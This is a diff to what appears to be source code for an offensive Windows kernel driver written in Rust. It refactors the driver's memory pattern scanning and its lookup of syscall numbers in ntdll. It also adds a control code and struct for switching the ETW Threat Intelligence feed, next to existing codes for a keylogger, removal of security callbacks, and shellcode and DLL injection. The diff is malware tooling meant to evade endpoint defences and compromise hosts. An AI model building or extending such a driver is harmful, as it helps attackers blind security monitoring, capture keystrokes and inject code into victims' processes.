let dll_name = alloc::string::String::from_utf16(&buffer).ok()?;
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
if dll_name.to_lowercase().contains(module_name) {
let dll_base = (*list_entry).DllBase as usize;
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
@@ -379,7 +379,7 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
return Err(status);
}
return Ok(shellcode)
Ok(shellcode)
}
/// Responsible for returning information on the modules loaded.

View File

@@ -1,19 +1,39 @@
use {
obfstr::obfstr,
super::{address::get_module_base_address, InitializeObjectAttributes},
super::{
address::get_module_base_address,
InitializeObjectAttributes,
},
core::{
ffi::{c_void, CStr}, mem::{size_of, zeroed},
ptr::{null_mut, read}, slice::from_raw_parts
},
winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER},
wdk_sys::{
NT_SUCCESS,
ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection},
ntddk::{
ZwClose, ZwMapViewOfSection, ZwOpenSection,
ZwUnmapViewOfSection
},
LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, SECTION_MAP_READ,
SECTION_QUERY, _SECTION_INHERIT::ViewUnmap
SECTION_QUERY, _SECTION_INHERIT::ViewUnmap, NT_SUCCESS
},
winapi::um::winnt::{
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
},
};
fn slice_to_number<T, const N: usize>(slice: &[u8], func: fn([u8; N]) -> T) -> Result<T, &'static str> {
if slice.len() != N {
return Err("Slice length mismatch");
}
// Converts the slice to an array of N bytes
let array: [u8; N] = slice.try_into().map_err(|_| "Slice length mismatch")?;
// Converts the byte array to the desired type
Ok(func(array))
}
/// Scans memory for a specific pattern of bytes in a specific section.
/// # Parameters
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
@@ -23,28 +43,29 @@ use {
/// # Returns
/// - `Option<*const u8>`: The address of the target function if found.
///
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
pub unsafe fn scan_for_pattern<T, const N: usize>(
function_address: *mut c_void,
pattern: &[u8],
offset: usize,
final_offset: isize,
size: usize,
func: fn([u8; N]) -> T,
) -> Option<*mut u8>
where
T: Into<i64>,
{
let function_bytes = from_raw_parts(function_address as *const u8, size);
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
if let Some(x) = function_bytes.windows(pattern.len()).position(|x| x == pattern) {
let position = x + offset;
let offset: T = slice_to_number(&function_bytes[position..position + N], func).ok()?;
if name == section_name {
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
if let Some(offset) = data.windows(pattern.len()).position(|window| {
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Some((section_start + offset) as *const u8);
}
}
}
let address = function_address.cast::<u8>().offset(x as isize);
let next_address = address.offset(final_offset);
Some(next_address.offset(offset.into() as isize))
} else {
None
}
}
/// Finds the address of a specified Zw function.
@@ -96,7 +117,7 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
}
}
return None
None
}
/// Retrieves the syscall index for a given function name.
@@ -151,9 +172,7 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
let ordinal = ordinals[i as usize] as usize;
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
if name == function_name {
if read(address) == 0x4C
if name == function_name && read(address) == 0x4C
&& read(address.add(1)) == 0x8B
&& read(address.add(2)) == 0xD1
&& read(address.add(3)) == 0xB8
@@ -169,9 +188,8 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
return Some(ssn);
}
}
}
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return None
None
}

View File

@@ -31,6 +31,9 @@ pub const IOCTL_ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_N
// Keylogger
pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NEITHER, FILE_ANY_ACCESS);
// ETWTI
pub const IOCTL_ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);
// Callbacks
pub const IOCTL_ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS);
@@ -52,4 +55,3 @@ pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN,
pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_TESTE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);

View File

@@ -36,6 +36,13 @@ pub struct Keylogger {
pub enable: bool
}
// ETWTI
#[repr(C)]
#[derive(Debug)]
pub struct ETWTI {
pub enable: bool
}
// Input for information that needs to be listed
#[repr(C)]
pub struct EnumerateInfoInput {